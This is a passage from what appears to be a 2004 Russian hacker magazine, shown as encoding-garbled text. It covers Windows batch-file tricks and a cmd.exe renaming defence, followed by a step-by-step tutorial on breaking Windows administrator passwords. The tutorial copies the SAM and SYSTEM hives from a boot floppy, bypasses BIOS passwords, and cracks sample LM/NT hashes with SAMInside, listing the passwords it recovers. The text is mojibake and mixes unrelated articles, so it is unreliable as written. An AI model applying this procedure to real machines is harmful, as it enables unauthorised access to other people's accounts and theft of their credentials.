êîëüêó â îòñóòñòâèå CALL'à âûçûâàå-
ìûé ôàéë çàòèðàåò òåêóùóþ êîïèþ
êîìàíäíîãî èíòåðïðåòàòîðà â ïàìÿòè.

Äðóãàÿ ïðîáëåìà � òèïè÷íûé ïðî-
åêò ñîñòîèò èç íåñêîëüêèõ ïàêåòíûõ
ôàéëîâ, íî òîëüêî îäèí èç íèõ ïóñêî-
âîé, à îñòàëüíûå âñïîìîãàòåëüíûå.
Êàê çàùèòèòü ïîëüçîâàòåëÿ îò ñëó-
÷àéíîãî çàïóñêà "íå òîãî" ôàéëà? Îä-
íî èç âîçìîæíûõ ðåøåíèé âûãëÿäèò
òàê: ïðè çàïóñêå ñëóæåáíûõ ôàéëîâ
ãëàâíûé ôàéë äîëæåí ïåðåäàòü èì
"ìàãè÷åñêèé ïèðîæîê", ïîäòâåðæäàþ-
ùèé ïðàâîìåðíîñòü çàïóñêà. Ïðè çà-
ïóñêå ñëóæåáíîãî ôàéëà ïîëüçîâàòå-
ëåì òàêîãî "ïèðîæêà", åñòåñòâåííî, íå
îêàçûâàåòñÿ è ôàéë ëèáî âûäàåò ïî-
ÿñíÿþùèå ñîîáùåíèå, ëèáî ñàìîñòîÿ-
òåëüíî çàïóñêàåò îñíîâíîé ôàéë. Òîã-
äà ïîëüçîâàòåëü ìîæåò çàïóñêàòü ëþ-
áîé ôàéë, è ýòî âñå ðàâíî áóäåò ðàáî-
òàòü ;).

Ðàññìîòðèì ïðîñòåéøèé ïðèìåð ðå-
àëèçàöèè. Ãëàâíûé êîìàíäíûé ôàéë:

#ÔÀÉË MAIN.BAT
@ECHO OFF
FOR %%A IN (*.%1) DO CALL

print_file_name __666__ "%%A"

Âñïîìîãàòåëüíûé êîìàíäíûé ôàéë:

@ECHO OFF

À
Ò

À
Ê

À
 
Í

À
 
W

I
N

D
O

W
S

ÕÀÊÅÐÑÏÅÖ    11(48) 2004

Êîìàíäà
PRINT -
óäîáíàÿ
øòóêà äëÿ
îïóñòîøå-
íèÿ ïðèí-
òåðíîãî
ëîòêà (à ó
ëàçåðíûõ
ïðèíòåðîâ
ëîòîê î÷åíü
áûñòðî
îïóñòîøà-
åòñÿ).

CMD-SHELL ÍÀ ÑËÓÆÁÅ Ó ÕÀÊÅÐÀ18 ÀÒÀÊÀ

Òåïåðü ìû ìîæåì âûïîëíÿòü íà ñåðâåðå
ðàçëè÷íûå êîíñîëüíûå ïðîãðàììû òàê,

áóäòî çàïóùåíû íà íàøåé ìàøèíå.



REM ïðîâåðÿåì íàëè÷èå ìàãè÷åñêîãî
«ïèðîæêà», è, åñëè åãî íåò,

REM âûçûâàåì îñíîâíîé ôàéë ïðîãðàì-
ìû, íå çàáûâ ïðè ýòîì

REM ïåðåäàòü åìó àðãóìåíòû êîìàíäíîé
ñòðîêè

IF NOT #%1#==#__666__# main.bat %1 %2
%3 %4 %5 %6

REM åñëè ìû çäåñü, ýòî çíà÷èò, ÷òî íàñ
âûçâàëè óìûøëåííî,

REM à íå ñëó÷àéíî. À ðàç òàê - âûêóñû-
âàåì ìàãè÷åñêèé

REM «ïèðîæîê» è íà÷èíàåì äåëàòü òî,
÷òî ìû äîëæíû äåëàòü ;)

SHIFT 

REM * * * òåëî ïðîãðàììû * * * 
ECHO %1

Ê ñîæàëåíèþ, êîìàíäíûå ôàéëû íå
ïîääåðæèâàþò âîçìîæíîñòè âûçîâà
ïðîöåäóð (èëè, â òåðìèíîëîãèè Ñè,
ôóíêöèé), ÷òî çàòðóäíÿåò ðåøåíèå
ìíîãèõ çàäà÷ è âîîáùå óðîäóåò ïðîã-
ðàììíûé ëèñòèíã. Îáû÷íî â òàêèõ ñëó-
÷àÿõ ïðèáåãàþò ê âûçîâó âíåøíèõ êî-
ìàíäíûõ ôàéëîâ, ÷òî òàêæå íå åñòü
õîðîøî, òàê êàê âñïîìîãàòåëüíûå êî-
ìàíäíûå ôàéëû ñìîòðÿòñÿ íå î÷åíü
êðàñèâî. Òåì íå ìåíåå, ýòà çàäà÷à
âïîëíå ðåøàåìà. Ïóñòü êîìàíäíûé
ôàéë âûçûâàåò ñàì ñåáÿ, ïåðåäàâàÿ â
êà÷åñòâå àðãóìåíòà èìÿ ìåòêè, íà êî-
òîðóþ íàäî îñóùåñòâèòü ïåðåäà÷ó óï-
ðàâëåíèÿ. Åñòåñòâåííî, åùå ïîòðåáó-
åòñÿ âêëþ÷èòü â ñòðîêó àðãóìåíòîâ
ñïåöèàëüíîå êëþ÷åâîå ñëîâî, îáîç-
íà÷àþùåå âûçîâ ôóíêöèè, à â íà÷àëî
ïàêåòíîãî ôàéëà - îñîáûé îáðàáîò-
÷èê, êîòîðûé ïðè íàëè÷èè ýòîãî ñàìî-
ãî êëþ÷åâîãî ñëîâà ïåðåõâàòûâàë áû
ïîòîê óïðàâëåíèÿ íà ñåáÿ è, ñäâèíóâ
ñïèñîê àðãóìåíòîâ íà äâå ïîçèöèè
âëåâî, ïåðåäàâàë áû óïðàâëåíèå íà
óêàçàííóþ ìåòêó.

Îäíà ïðîáëåìà � âîçâðàò çíà÷åíèé.
Âåðîÿòíî, åäèíñòâåííîå, ÷òî çäåñü

ìîæíî ïðåäëîæèòü, � èñïîëüçîâàòü
ïåðåìåííûå îêðóæåíèÿ, à èìååò
ñìûñë ïåðåäàâàòü èìÿ ïåðåìåííîé
êàê àðãóìåíò, ÷òîáû âûçûâàåìîé è
âûçûâàþùåé ôóíêöèÿì áûëî ëåã÷å
"äîãîâîðèòüñÿ", â ïðîòèâíîì ñëó÷àå
èõ áóäåò òðóäíî ðàçðàáàòûâàòü íåçà-
âèñèìî äðóã îò äðóãà. Ïîñìîòðèì íà
ïðèìåð ðåàëèçàöèè:

@ECHO OFF
REM Ìåíåäæåð âûçîâà ïðîöåäóð
REM ARG:
REM CALL %0 _call èìÿ_ìåòêè_ôóíêöèè

àðãóìåíòû_ôóíêöèè....
REM
:call_manager
IF NOT #%1#==#_call# GOTO call_manag-

er_end
SHIFT
SHIFT
GOTO %0
:call_manager_end

REM * Îñíîâíîå òåëî êîìàíäíîãî ôàéëà * 
:main
rem ïðèìåð âûçîâà ôóíêöèè

print_file_name
FOR %%A IN (*.*) DO CALL %0 _call

print_file_name "%%A"

FIND/FINDSTR
Ïîèñê äâîè÷íûõ äàííûõ (òåêñòîâûõ

ñòðîê) â ãðóïïå ôàéëîâ. Ñâîåîáðàç-
íûé àíàëîã <ALT-F7> â FAR'å. Îñíîâ-
íîå îðóæèå âçëîìùèêà äëÿ ïîèñêà
èíòåðåñíûõ äîêóìåíòîâ íà ñåðâåðå.

TIME
Çàäàåò òåêóùåå ñèñòåìíîå âðåìÿ, íå

òðåáóÿ ïðàâ àäìèíèñòðàòîðà, ÷òî äå-
ëàåò åå ñàìîé äåñòðóêòèâíîé êîìàíä-
íîé èç âñåõ ïðåäñòàâëåííûõ. Ïðåäñ-
òàâü, ÷òî ïðîèçîéäåò ñ äîêóìåíòîîáî-
ðîòîì è áàçîé äàííûõ, åñëè âðåìÿ
îêàæåòñÿ ñêà÷êîîáðàçíî ïåðåâåäåíî
íà íåñêîëüêî ëåò âïåðåä!

XCOPY
Îñíîâíîå ñðåäñòâî êîïèðîâàíèÿ

ôàéëîâ è ïîäêàòàëîãîâ èç îäíîé äè-
ðåêòîðèè â äðóãóþ.

ÇÀÙÈÒÀ ÎÒ ÂÒÎÐÆÅÍÈß
Èç âñåãî âûøåñêàçàííîãî ìîæíî

ñäåëàòü âûâîä, ÷òî êîìàíäíûé èíòåð-
ïðåòàòîð � ñëèøêîì îïàñíàÿ øòóêà,
÷òîáû äåðæàòü åãî íà ñâîåé ìàøèíå.
Íî è óäàëèòü åãî ìû íå ìîæåì � ïå-
ðåñòàíóò ðàáîòàòü íåêîòîðûå èíñòàë-
ëÿòîðû è ïðîãðàììû-îáîëî÷êè (íàï-
ðèìåð, FAR). Ê òîìó æå, îñòàâëÿòü ñå-
áÿ áåç êîìàíäîé ñòðîêè � ýòî íå âû-
õîä. Ìîæåò, ïîïðîáîâàòü ïåðåèìåíî-
âàòü åãî? Òîãäà àòàêóþùèå ïðîãðàì-
ìû îñòàíóòñÿ íå ó äåë! Îäíàêî ñ ëå-
ãàëüíûìè ïðîãðàììàìè ïðîèçîéäåò òî
æå ñàìîå, ïîñêîëüêó îíè îïðåäåëÿþò
èìÿ êîìàíäíîãî èíòåðïðåòàòîðà ïî
ïåðåìåííîé COMSPEC, à îíà ïî óìîë-
÷àíèþ óêàçûâàåò íà
C:\WINNT\System32\cmd.exe.

Ïîïðîáóåì ïåðåèìåíîâàòü cmd.exe
â w2k_commander.exe, ñîîòâåòñòâóþ-
ùèì îáðàçîì ñêîððåêòèðîâàâ ïåðå-
ìåííóþ COMSPEC. Êëèêíóâ ïî èêîíêå
"Ìîé êîìïüþòåð" ïðàâîé êëàâèøåé
ìûøè, âûáåðåì â êîíòåêñòíîì ìåíþ
ïóíêò "Ñâîéñòâà", â ïîÿâèâøåìñÿ äè-
àëîãîâîì îêíå èùåì çàêëàäêó "Äî-
ïîëíèòåëüíî", à â íåé � êíîïêó "Ïå-
ðåìåííûå ñðåäû". COMSPEC áóäåò
ðàñïîëîæåíà ñðåäè ñèñòåìíûõ ïåðå-
ìåííûõ, è äëÿ åå èçìåíåíèÿ íåîáõî-
äèìû ïðàâà àäìèíèñòðàòîðà. Òåïåðü
íàïèøåì êîðîòåíüêóþ ïðîãðàììó, âû-
âîäÿùóþ íà ýêðàí ïðåäóïðåæäåíèå î
õàêåðñêîì âòîðæåíèè, è ïåðåèìåíóåì
åå â cmd.exe. Âñå!

Ïðè âñåé ñâîåé ïðîñòîòå ïðåäëî-
æåííûé ïðèåì íåîáû÷àéíî ýôôåêòè-
âåí. Õàêåðû è ñåòåâûå ÷åðâè ïðàêòè-
÷åñêè íèêîãäà íå àíàëèçèðóþò ïåðå-
ìåííóþ îêðóæåíèÿ COMSPEC, ïîñ-
êîëüêó ýòî òðåáóåò îïðåäåëåííîãî
ïðîñòðàíñòâà äëÿ ìàíåâðà, à â ïåðå-
ïîëíÿþùèõñÿ áóôåðàõ îíî íå âñåãäà
åñòü. Âìåñòî ýòîãî êîìàíäíûé èíòåðï-
ðåòàòîð âûçûâàåòñÿ ïî åãî èñõîäíî-
ìó èìåíè cmd.exe, ïîçâîëÿÿ òåì ñà-
ìûì îáíàðóæèòü àòàêó íà ñàìûõ ðàí-
íèõ åå ñòàäèÿõ.

ÇÀÊËÞ×ÅÍÈÅ
×åëîâåêó, ïðèâûêøåìó ê ïðåëåñ-

òÿì ãðàôè÷åñêèõ èíòåðôåéñîâ, êîìà-
íäíûé èíòåðïðåòàòîð íà ïåðâûõ ïî-
ðàõ ïîêàæåòñÿ æóòêî íåïðîèçâîäè-
òåëüíûì è íåóäîáíûì. Îäíàêî ñî âðå-
ìåíåì îùóùåíèå äèñêîìôîðòà ïðî-
õîäèò è êóðñîð íà÷èíàåò áèòüñÿ â
òàêò ñåðäöó êîìïüþòåðùèêà :). Îïåðà-
öèè, ðàíåå îòíèìàâøèå ÷óäîâèùíîå
êîëè÷åñòâî âðåìåíè, òåïåðü âûïîë-
íÿþòñÿ îäíèì ëåãêèì ïàññîì íàä êëà-
âèàòóðîé. Èçâåñòíî ìíîãî ñëó÷àåâ,
êîãäà ëþäè ïåðåõîäèëè ñ ãðàôè÷åñ-
êèõ ñðåä â êîíñîëüíûå îáîëî÷êè, íî
ÿ íå çíàþ íè îäíî ïîêëîííèêà êîìàí-
äîé ñòðîêè, êîòîðûé ïðîìåíÿë áû åå
íà «èíòóèòèâíî ïîíÿòíûé» èíòåð-
ôåéñ Widows 2000/XP. E
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Êîìàíäíûé èíòåðïðåòàòîð � ñëèøêîì
îïàñíàÿ øòóêà, ÷òîáû äåðæàòü 

åãî íà ñâîåé ìàøèíå.



Ïîëóýêòîâ Àëåêñàíäð aka PolASoft (www.insidepro.com)

Ï àðîëü àäìèíèñòðàòîðà - ëàêîìûé êóñî÷åê äëÿ õàêåðà. Ïîëó÷èâ ïðàâà àäìèíà, òû ìîæíî òâîðèòü íà âçëîìàííîé
ìàøèíå ÷òî óãîäíî.

ÏÎØÀÃÎÂÀß
ÈÌÏÅÐÑÎÍÀËÈÇÀÖÈß
ÂÇËÎÌ ÀÄÌÈÍÑÊÎÃÎ ÏÀÐÎËß Â WINDOWS 2000/XP/2003

çâåñòíûõ ñïîñîáîâ
âçëîìà ÎÑ Windows
2000/XP/2003 äîñòà-
òî÷íî ìíîãî. Âîò îñ-
íîâíûå:

ïîëó÷åíèå ïðàâ àäìèíèñòðàòîðà
ïóòåì âîññòàíîâëåíèÿ ïàðîëÿ èç
SAM-áàçû

âçëîì ÷åðåç óÿçâèìîñòè â ïàêå-
òàõ, óñòàíîâëåííûõ íà êîìïüþòåðå:
web-ñåðâåð (IIS, PWS, FrontPage serv-
er), FTP-ñåðâåð è ò.ä.

âíåäðåíèå íà êîìïüþòåð òðîÿíîâ,
êåéëîããåðà è ïðî÷èõ øïèîíîâ

ñíèôèíã ñåòè äëÿ ïåðåõâàòà ïàðî-
ëåé íà âõîä â ñåòü (êîòîðûå "ïî ñîâ-
ìåñòèòåëüñòâó" ÿâëÿþòñÿ è ïàðîëÿìè
íà âõîä â ÎÑ)

èñïîëüçîâàíèå ýêñïëîèòîâ, ðåà-
ëèçóþùèõ äûðû â ñåòåâûõ ïðîòîêî-
ëàõ èëè ñëóæáàõ Windows

îáõîä ïðîâåðêè ïðàâèëüíîñòè àâ-
òîðèçàöèè â ÎÑ (ê ïðèìåðó, èñïîëüçî-
âàíèå ïðîïàò÷åííîé âåðñèè áèáëèî-
òåêè MSV1_0.DLL äëÿ Windows 2000)

Ìû æå îñòàíîâèìñÿ íà âîññòàíîâëå-
íèè ïàðîëÿ àäìèíèñòðàòîðà èç SAM-áà-
çû, òàê êàê ýòî îäèí èç ñàìûõ ðàñïðîñò-
ðàíåííûõ ìåòîäîâ, êîòîðûé, ê òîìó æå,
íå òðåáóåò îáøèðíûõ çíàíèé â îáëàñòè
êîìïüþòåðíîé áåçîïàñíîñòè. Íî ïðè ðå-
àëèçàöèè ýòîãî ñïîñîáà íåîáõîäèì ôè-
çè÷åñêèé äîñòóï ê êîìïüþòåðó-êëèåíòó.

ÌÅÒÎÄÛ "×ÅÐÍÎÃÎ" ÂÇËÎÌÀ
Äëÿ íà÷àëà ðàññìîòðèì ìåòîäû

ïîëó÷åíèÿ äîñòóïà ê àêêàóíòó àäìè-
íèñòðàòîðà, íå âîññòàíàâëèâàÿ åãî ïà-
ðîëü, à îáíóëÿÿ åãî èëè óñòàíàâëèâàÿ
íîâûé. Íàèáîëåå ÷àñòî ïðè ïîëíîì
äîñòóïå ê SAM-áàçå ìåíÿþòñÿ ëîãèíû
è ïàðîëè íàïðÿìóþ, ÷òî ïîçâîëÿåò,
äàæå íå çíàÿ ïàðîëÿ àäìèíà, îáíó-
ëèòü åãî â SAM-áàçå è âîéòè â ñèñòå-
ìó ñ ïóñòûì ïàðîëåì. Äëÿ ýòîãî íóæ-
íà îäíà èç ñëåäóùèõ ïðîãðàìì:

CIA Commander (www.datapol.de)
ERD Commander (www.winternals.com)
Offline NT Password & Registry

Editor (www.home.eunet.no/~pnordahl/
ntpasswd/)

ðÿä Linux-óòèëèò äëÿ äîñòóïà ê
SAM-áàçå, êîãäà íà ìàøèíå óñòàíîâ-
ëåíû äâå ÎÑ - Windows è Linux

Èñïîëüçîâàíèå ýòèõ ïðîãðàìì -
ïðîñòîé è íàäåæíûé ñïîñîá ïîëó÷å-
íèÿ ïðàâ àäìèíà, íî ïðè ýòîì òåðÿåò-
ñÿ åãî îðèãèíàëüíûé ïàðîëü. Ê ñîæà-
ëåíèþ, âìåøàòåëüñòâî âðÿä ëè îñòà-
íåòñÿ íåçàìå÷åííûì äëÿ òîãî, êòî
ýòîò ïàðîëü óñòàíîâèë :). Ïîýòîìó
äàííûé ìåòîä ÷àùå èñïîëüçóåòñÿ íå
äëÿ äîñòóïà ïî ÷óæîìó ïàðîëþ, à äëÿ
âîññòàíîâëåíèÿ ñâîåãî ñîáñòâåííîãî
çàáûòîãî àêêàóíòà.

Åñòü åùå âàðèàíò óäàëåíèÿ ôàéëîâ
SAM è SAM.LOG, êîòîðûå â Windows
NT ïðèâîäÿò ê òîìó, ÷òî ìîæíî âîéòè
â ñèñòåìó ñ ïóñòûì ïàðîëåì è ëîãè-
íîì àäìèíà "ïî óìîë÷àíèþ". Â
Windows 2000/XP/2003 òàêîé òðþê íå
ïðîõîäèò, è ÎÑ îòêàçûâàåòñÿ çàãðó-
æàòüñÿ âîîáùå èëè æå èñïîëüçóåò
äëÿ çàãðóçêè SAM-áàçó èç ðåçåðâíûõ
êàòàëîãîâ (òèïà \Windows\Repair). Íî
âîçìîæíîñòü ïîäìåíû SAM-áàçû âñå-
òàêè åñòü.

ÏÎËÓ×ÅÍÈÅ ÄÎÑÒÓÏÀ 
Ê SAM-ÁÀÇÅ

Ïðè ïîïûòêå ïðî÷èòàòü ôàéë SAM
(ðàñïîëîæåííûé â êàòàëîãå 
C:\WINDOWS\System32\Config) òû ïî-
ëó÷èøü ñîîáùåíèå ñèñòåìû î íàðó-
øåíèè äîñòóïà ê ôàéëó. Ýòîò ôàéë

(äà è âñå îñòàëüíûå ôàéëû áåç ðàñ-
øèðåíèé èç ýòîãî êàòàëîãà) - ôðàã-
ìåíòû ðååñòðà, ïîñòîÿííî èñïîëüçóå-
ìûå ñèñòåìîé, è òîëüêî ÎÑ èìååò ê
íèì äîñòóï, ïðè÷åì ìîíîïîëüíûé.
Êñòàòè, èìåííî èç-çà ýòîãî íåò íåîá-
õîäèìîñòè ïîä Windows 2000/XP ïå-
ðåçàãðóæàòü ïðîãðàììó ïîñëå ðàç-
ëè÷íûõ äåéñòâèé ñ ðååñòðîì, òàê êàê
âñå èçìåíåíèÿ âñòóïàþò â ñèëó ìî-
ìåíòàëüíî.

Òåáå íóæíî ïîëó÷èòü ê íèì äîñòóï
íå èç ñàìîé ÎÑ. Êàê æå ýòî ñäåëàòü?
Çäåñü äâà ïóòè, è îíè îòëè÷àþòñÿ â
çàâèñèìîñòè îò ôàéëîâîé ñèñòåìû,
êîòîðàÿ óñòàíîâëåíà íà ñèñòåìíîì
äèñêå ñ Windows. Åñëè òàì FAT32, òî
äîñòóï ê áàçå ìîæíî ïîëó÷èòü äàæå ñ
çàãðóçî÷íîé äèñêåòû, ñîçäàííîé â
Windows 98, èëè ñ ëþáîé ÎÑ, óñòàíîâ-
ëåííîé êàê àëüòåðíàòèâíàÿ íà äàííîì
êîìïüþòåðå. Çàãðóæàåìñÿ ñ äèñêåòû è
îáûêíîâåííîé DOS-êîìàíäîé COPY
êîïèðóåì SAM-áàçó â äðóãîå ìåñòî, íå
çàáûâàÿ ïðî ôàéë SYSTEM, â êîòîðîì
õðàíèòñÿ êëþ÷ SYSKEY.

Åñëè æå òàì NTFS, òî íåîáõîäèìà
âîçìîæíîñòü çàãðóçêè ñî ñïåöèàëü-
íîé äèñêåòû. À â BIOS íóæíî óñòàíî-
âèòü ñîîòâåòñòâóþùóþ ïîñëåäîâà-
òåëüíîñòü çàãðóçêè ñèñòåìû: ñíà÷àëà

È

Åñëè òàì FAT32, òî äîñòóï ê áàçå ìîæíî
ïîëó÷èòü äàæå ñ çàãðóçî÷íîé äèñêåòû,

ñîçäàííîé â Windows 98.
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Çàãðóçêà õýøåé â SAMInside
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ñ ôëîïïè-äèñêà, çàòåì âñå îñòàëüíîå.
Íà âõîä â BIOS ñòîèò ïàðîëü? Îáíóëÿ-
åì åãî ïåðåìû÷êàìè íà ìàòåðèíñêîé
ïëàòå èëè æå ïðîáóåì ââîäèòü ïàðî-
ëè, çàðåçåðâèðîâàííûå ðàçðàáîò÷è-
êîì BIOS äëÿ ñóïåðâèçîðñêîãî âõîäà.
Äàëåå íà ëþáîé äðóãîé ìàøèíå çà-
ïóñêàåì óòèëèòó bootdisk.exe èç ïàêå-
òà NTFSDos Pro (www.winternals.com) è
ñîçäàåì ñ åå ïîìîùüþ çàãðóçî÷íûé
äèñê, êîòîðûé ïîçâîëèò "ïîäìîíòèðî-
âàòü" NTFS-ðàçäåëû è "óâèäåòü" èõ
èç-ïîä DOS. Çàòåì îñòàíåòñÿ ñêîïèðî-
âàòü SAM/SYSTEM-ôàéëû â äðóãîå
ìåñòî (ìîæíî íà äèñêåòó, èñïîëüçóÿ
ëþáîé DOS-àðõèâàòîð).

ÒÐÅÏÀÍÀÖÈß SAM-ÁÀÇÛ
Â èòîãå, ïîñëå âñåõ ìàíèïóëÿöèé

ôàéëû SAM è SYSTEM íàäî çàãðóçèòü
â ñïåöèàëüíóþ ïðîãðàììó, ê ïðèìåðó
SAMInside (www.insidepro.com), è ìîæíî
íà÷èíàòü âîññòàíàâëèâàòü ïàðîëè.

Ïîïðîáóåì íà ïðàêòèêå ñ ïîìîùüþ
SAMInside âîññòàíîâèòü ïàðîëè èç
SAM-áàçû, íàïðèìåð, ñ òàêèìè õýøàìè:

Àäìèíèñòðà-
òîð:500:0000000000000000000000000000
0000:62781BD14D85006B4734E2857B47019F:::

Ãîñòü:501:
00000000000000000000000000000000:31D
6CFE0D16AE931B73C59D7E0C089C0:::

Ìàñ-
òåð:1000:DAB56D929B00DB039D4BD15CFFF0E2
0C:B66B458E27BD714F99A05EE3C479FBF1:::

Èâàí:1001:598DDCE2660D3193AAD3B435B514
04EE:2D20D252A479F485CDF5E171D93985BF:::

Goblin:1002:0BC8D36E4D78246AAAD3B435B5
1404EE:1E1DD34B128DE1968A44212E05D9E942:::

petya1980:1003:4E6F46C1D006F762A91E5487
19C3AC6E:DB1D4EAECA820233B92708593BE4E
092:::

Xen:1004:D1919E5054AE7CC7EFD3963F3DD00
D8A:30F88284912BA9F7973D18EB2DC5DDDD:::

neo:1005:1DFF40B5A5703497B6CF57A62BF8
D92D:AEA36890BB36AA0F51628AB08759AB31:::

Âûâîäû:
- àäìèíèñòðàòîð íå ñîâñåì ãëóï è ñäå-

ëàë ïàðîëü ñ äëèíîé áîëåå 14 ñèìâîëîâ

(ýòî âèäíî èç òîãî, ÷òî LM-ïàðîëü îòê-
ëþ÷åí, õîòÿ NT-ïàðîëü ïðèñóòñòâóåò);

- ó÷åòíàÿ çàïèñü ãîñòÿ èëè îòêëþ÷å-
íà âîîáùå è íå èñïîëüçóåòñÿ, èëè æå
ïîçâîëÿåò âîéòè ñ ïóñòûì ïàðîëåì;

- ïîëüçîâàòåëü «Èâàí» íå ñòàë äó-
ìàòü íàä ïàðîëåì è ââåë ñàìóþ ïîïó-
ëÿðíóþ êëàâèàòóðíóþ êîìáèíàöèþ
(èñêëþ÷àÿ Ctrl+Alt+Del, êîíå÷íî) -
"qwerty";

- ïîëüçîâàòåëü "petya1980" ñäåëàë
åùå ïðîùå: îí èñïîëüçîâàë â êà÷åñò-
âå ïàðîëÿ ñâîé ëîãèí;

- òàêæå âèäíî, ÷òî ïðîãðàììà
SAMInside ìîìåíòàëüíî íàøëà äâà
îêîí÷àíèÿ ïàðîëåé - 33 è 567890
åùå äëÿ äâóõ ïîëüçîâàòåëåé.

Äëÿ íà÷àëà íåïëîõî! Ñòîèò çàìå-
òèòü, ÷òî äàííàÿ ôóíêöèÿ SAMInside
("èíòåëëåêòóàëüíàÿ" çàãðóçêà õýøåé)
ïîçâîëÿåò ìîìåíòàëüíî îöåíèòü óðî-
âåíü êâàëèôèêàöèè ïîëüçîâàòåëåé
íà äàííîì êîìïüþòåðå, è ïî ñòàòèñòè-
êå 5-10% ïàðîëåé (èëè îêîí÷àíèé ïà-
ðîëåé) âîññòàíàâëèâàþòñÿ óæå íà
ýòàïå çàãðóçêè õýøåé.

Èòàê, íà÷èíàåì àíàëèç. Ñàìûé ïðî-
äóêòèâíûé àëãîðèòì âîññòàíîâëåíèÿ
ïàðîëåé - ïåðåáîð íåñêîëüêèõ ìåòî-
äèê ïî âîçðàñòàíèþ èõ âðåìåíè ðàáî-
òû, îðèåíòèðóÿñü íà ïëàíèðóåìóþ
ñëîæíîñòü ïàðîëåé.
1. Âèäíî, ÷òî â ïàðîëÿõ åñòü öèô-

ðû, ïîýòîìó íà÷íåì ñ ïåðåáîðà ïî
öèôðàì.

Óñòàíàâëèâàåì ïåðåáîð ïî LM-õý-
øàì, àëôàâèò - òîëüêî öèôðû, î÷è-
ùàåì íà÷àëüíûé ïàðîëü (ïîëå "Ïà-
ðîëü") è çàïóñêàåì ïåðåáîð.

×åðåç íåñêîëüêî ñåêóíä âîññòàíî-
âèëñÿ îäèí ïàðîëü, ïîëíîñòüþ ñîñòî-
ÿùèé èç öèôð - 111222333. Íåïëîõî.
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Ñòàòåé îá îñíîâàõ õðàíåíèÿ ïàðîëåé â Windows 2000/XP è î
SAM-áàçå â ñåòè ëåæèò êó÷à, ïîýòîìó íå áóäåì ïîäðîáíî íà ýòîì
îñòàíàâëèâàòüñÿ. Íàïîìíèì ëèøü, ÷òî â Windows
NT+SP3/2000/XP/2003 èñïîëüçóåòñÿ ñèñòåìíûé êëþ÷ SYSKEY, ñ
ïîìîùüþ êîòîðîãî äîïîëíèòåëüíî øèôðóþòñÿ óæå çàøèôðîâàí-
íûå õýøè. Ôàêòè÷åñêè â SAM-áàçå õðàíÿòñÿ íå õýøè ïàðîëåé, à õý-
øè õýøåé ïàðîëåé. Êëþ÷ SYSKEY - ýòî 16 áàéò èç îïðåäåëåííûõ
÷åòûðåõ êëþ÷åé ðååñòðà, ðàñïîëîæåííûõ â ôàéëå SYSTEM (êîòî-
ðûé, êàê è SAM, ÿâëÿåòñÿ ÷àñòüþ ðååñòðà Windows). Äëÿ âõîäà â
Windows èñïîëüçóåòñÿ äâà òèïà ïàðîëåé: LM-ïàðîëü è NT-ïàðîëü,
çàøèôðîâàííûå ðàçíûìè àëãîðèòìàìè. 

Íî òåì, êòî íå çíàåò î õðàíåíèè ïàðîëåé â SAM-áàçàõ è àëãîðèòìàõ
øèôðîâàíèÿ, êîòîðûìè øèôðóþòñÿ LM-ïàðîëè è NT-ïàðîëè, ñîâå-
òóåì ïðî÷èòàòü ñòàòüþ ñ www.insidepro.com/doc/002r.shtml.

ÕÐÀÍÅÍÈÅ ÏÀÐÎËÅÉ



2. Òåïåðü íà÷èíàåì ïåðåáîð ïî ñëî-
âàðþ. Äëÿ ýòîãî íóæíî ñêà÷àòü ñëî-
âàðü ñ
www.insidepro.com/download/dictionary.zip, äî-
áàâèâ â ñïèñîê, è çàïóñòèòü ïåðåáîð.
Íå çàáûâàåì âêëþ÷èòü ôëàæêè äëÿ
ïðîâåðêè ïàðîëåé, ñîñòîÿùèõ èç äâîé-
íûõ ïàðîëåé è èç ïàðîëåé ñ îáðàòíûì
ïîðÿäêîì áóêâ. ×åðåç íåñêîëüêî ìè-
íóò ìû ïîëó÷èì ðåçóëüòàò.

3. Ïðîáóåì íà çóá ïàðîëü ïîëüçî-
âàòåëÿ neo. Êàê âèäíî, ïàðîëü çàêàí-
÷èâàåòñÿ íà êîìáèíàöèþ 567890, íà-
÷àëî æå íåèçâåñòíî. Íî ìîæíî ïðåä-
ïîëîæèòü, ÷òî ïåðâàÿ ïîëîâèíà ïàðî-
ëÿ çàêàí÷èâàåòñÿ íà 4 èëè äàæå 34. À
ìîæíî ñðàçó ïîïðîáîâàòü 1234 :). Îòê-
ðûâàåì íàñòðîéêè àòàêè ïî ìàñêå è
ââîäèì ìàñêó.

Óðà! Ïàðîëü íàéäåí - neo1234567890.
Åñëè áû ìû íå íàøëè ïàðîëü, òî èìå-
ëî áû ñìûñë ïîïðîáîâàòü îêîí÷àíèå
ïàðîëÿ íà 4, 34 èëè 234. Èëè çàïóñ-
òèòü ïåðåáîð ñ ñèìâîëàìè A...Z è 0...9.
4. Îñòàëñÿ ïàðîëü àäìèíèñòðàòîðà.

Ïî LM-õýøàì åãî âîññòàíîâèòü íå ïîëó-
÷èòñÿ - òîëüêî ïî NT-õýøàì. À ýòî ïðàê-
òè÷åñêè áåñïîëåçíîå äåëî, òàê êàê NT-
ïàðîëü ðåãèñòðîçàâèñèìûé è äàæå äëÿ
àíàëèçà ïàðîëåé òîëüêî èç ëàòèíèöû
ïðèäåòñÿ èñïîëüçîâàòü äâà àëôàâèòà:
A...Z è a...z. Íî íàïîñëåäîê ïîïðîáóåì
ãèáðèäíóþ àòàêó. Óêàæåì, ÷òî ê ïàðîëÿì
èç ñëîâàðÿ íóæíî äîáàâëÿòü äî 2 ñèì-
âîëîâ ñïðàâà è ñëåâà (ïðè ýòîì ôëàæêè
äëÿ ñäâîåííûõ ïàðîëåé è ïàðîëåé ñ îá-
ðàòíûì ïîðÿäêîì áóêâ ñíèìàåì - ìû èõ
óæå ïðîâåðèëè). Çàïóñêàåì ïðîãðàììó è
èäåì çà ïèâîì, òàê êàê ãèáðèäíàÿ àòàêà -
ïðîöåññ äëèòåëüíûé. ×åðåç íåêîòîðîå
âðåìÿ ìû óâèäèì, ÷òî ïàðîëü âñå-òàêè
íàéäåí - administrator$$. 

Â èòîãå, ìû èìååì 100% âîññòàíîâ-
ëåííûõ ïàðîëåé. Êîíå÷íî, äàííûå ïà-
ðîëè ïðèâåäåíû ëèøü äëÿ ïðèìåðà, íî,

êàê ïîêàçûâàåò ïðàêòèêà, äî 95-98%
ïàðîëåé âîññòàíîâèòü âñå-òàêè ìîæíî.
Ëó÷øå âñåãî ïðèìåíÿòü ïîî÷åðåäíî
ðàçëè÷íûå âèäû àòàê è ñëîâàðè áîëü-

øåãî îáúåìà. À ïðè íàëè÷èè ëþáîé
ïðåäâàðèòåëüíîé èíôîðìàöèè î ïàðî-
ëå èñïîëüçîâàòü åå ìàêñèìàëüíî ýô-
